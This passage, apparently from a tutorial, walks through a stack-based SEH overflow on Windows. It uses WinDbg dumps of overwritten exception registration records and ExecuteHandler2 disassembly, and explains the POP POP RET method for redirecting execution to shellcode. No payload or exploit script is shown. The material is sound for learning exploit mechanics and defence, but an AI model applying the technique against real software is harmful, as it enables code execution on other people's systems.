0:010> dds esp L8
0175f444  0175f540
0175f448  0175ff44
0175f44c  0175f55c
0175f450  0175f4cc
0175f454  0175fe0c
0175f458  77316270 ntdll!ExecuteHandler2+0x44
0175f45c  0175ff44
0175f460  0175f528

But let’s inspect the four argument passed to the _except_handler function before calling it:

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord, 
IN VOID EstablisherFrame, 
IN OUT PCONTEXT ContextRecord, 
IN OUT PDISPATCHER_CONTEXT DispatcherContext );

The argument of interest is the EstablisherFrame argument, which is a pointer to the _EXCEPTION_REGISTRATION_RECORD structure used to handle the exception. Remember we managed to overwrite the two parameters of this structure!

0:007> dt _EXCEPTION_REGISTRATION_RECORD 0090fe0c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0090ff44 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x1008df5b     _EXCEPTION_DISPOSITION  libpal!md5_starts+0
0:007> dt _EXCEPTION_REGISTRATION_RECORD 0090ff44
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141

So if we managed to overwrite this structure, let’s inspect how many bytes we managed to overwrite starting from such structure’s address:

0:010> !teb
TEB at 00286000
    ExceptionList:        0175f454
    StackBase:            01760000
    StackLimit:           0175e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00286000
    EnvironmentPointer:   00000000
    ClientId:             000016cc . 00000f30
    RpcHandle:            00000000
    Tls Storage:          0050a108
    PEB Address:          00279000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0
0:010> dt _EXCEPTION_REGISTRATION_RECORD 0175f454
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0175fe0c _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77316270     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0
0:010> dt _EXCEPTION_REGISTRATION_RECORD 0x0175fe0c 
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0175ff44 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x0094df5b     _EXCEPTION_DISPOSITION  libpal!md5_starts+0
0:010> dt _EXCEPTION_REGISTRATION_RECORD 0x0175ff44 
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141
0:010> dds 0x0175ff44 
0175ff44  41414141
0175ff48  41414141
0175ff4c  41414141
0175ff50  41414141
0175ff54  41414141
0175ff58  41414141
0175ff5c  41414141
0175ff60  41414141
0175ff64  41414141
0175ff68  41414141
0175ff6c  41414141
0175ff70  41414141
0175ff74  41414141
0175ff78  41414141
0175ff7c  41414141
0175ff80  41414141
0175ff84  41414141
0175ff88  41414141
0175ff8c  41414141
0175ff90  41414141
0175ff94  41414141
0175ff98  41414141
0175ff9c  41414141
0175ffa0  41414141
0175ffa4  41414141
0175ffa8  41414141
0175ffac  41414141
0175ffb0  41414141
0175ffb4  41414141
0175ffb8  41414141
0175ffbc  41414141
0175ffc0  41414141

As we can see, the pointer to our _EXCEPTION_REGISTRATION_RECORD stores an address to where our payload is located! We did not only override those bytes, but more bytes! So the same buffer that we used to overwrite the _EXCEPTION_REGISTRATION_RECORD to modify the EIP is the same that we will use to store our payload.

Let’s locate the section where we put the parameters of ExecuteHandler2 to see where our paramter of interest is located:

0:010> u @eip L11
ntdll!ExecuteHandler2:
7731622c 55              push    ebp
7731622d 8bec            mov     ebp,esp
7731622f ff750c          push    dword ptr [ebp+0Ch]
77316232 52              push    edx
77316233 64ff3500000000  push    dword ptr fs:[0]
7731623a 64892500000000  mov     dword ptr fs:[0],esp
77316241 ff7514          push    dword ptr [ebp+14h]
77316244 ff7510          push    dword ptr [ebp+10h]
77316247 ff750c          push    dword ptr [ebp+0Ch] // This is the EstablisherFrame address 
7731624a ff7508          push    dword ptr [ebp+8]
7731624d 8b4d18          mov     ecx,dword ptr [ebp+18h]
77316250 ffd1            call    ecx // This ends calling 0x41414141, our handler function! 
77316252 648b2500000000  mov     esp,dword ptr fs:[0]
77316259 648f0500000000  pop     dword ptr fs:[0]
77316260 8be5            mov     esp,ebp
77316262 5d              pop     ebp
77316263 c21400          ret     14h

Indeed, if we inspect that address, we will find that is is the location of our shellcode:

0:010> t
eax=00000000 ebx=00000000 ecx=6fdb73da edx=77316270 esi=00000000 edi=00000000
eip=77316247 esp=0175f44c ebp=0175f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x1b:
77316247 ff750c          push    dword ptr [ebp+0Ch]  ss:0023:0175f46c=0175ff44

Let’s see the contents of ebp+0ch:

0:010> dds ebp+0xc
0175f46c  0175ff44

We can see that the address of our _EXCEPTION_REGISTRATION_RECORD is there. The other parameters are also EBP offsets, but we are not interested.

Once that we know that such address is the one we want to redirect the execution flow, we could overwrite the exception handler with the address of an instruction that returns into the EstablisherFrame address on the stack, so that our code is executed. The most common sequence of instructions used in SEH overflows to accomplish this task is “POP R32, POP R32, RET”, in which we POP the return address and the ExceptionRecord argument from the stack into two arbitrary registers (R32) and then execute a RET operation to return into the EstablisherFrame. This is because we pushed the last argument, before the “call ecx” instruction. The call instruction pushes in the stack the return address, so would have to pop the return address and the last argument to have the EstablisherFrame address in the top of the stack, so we can perform a ret to this address and redirect the flow.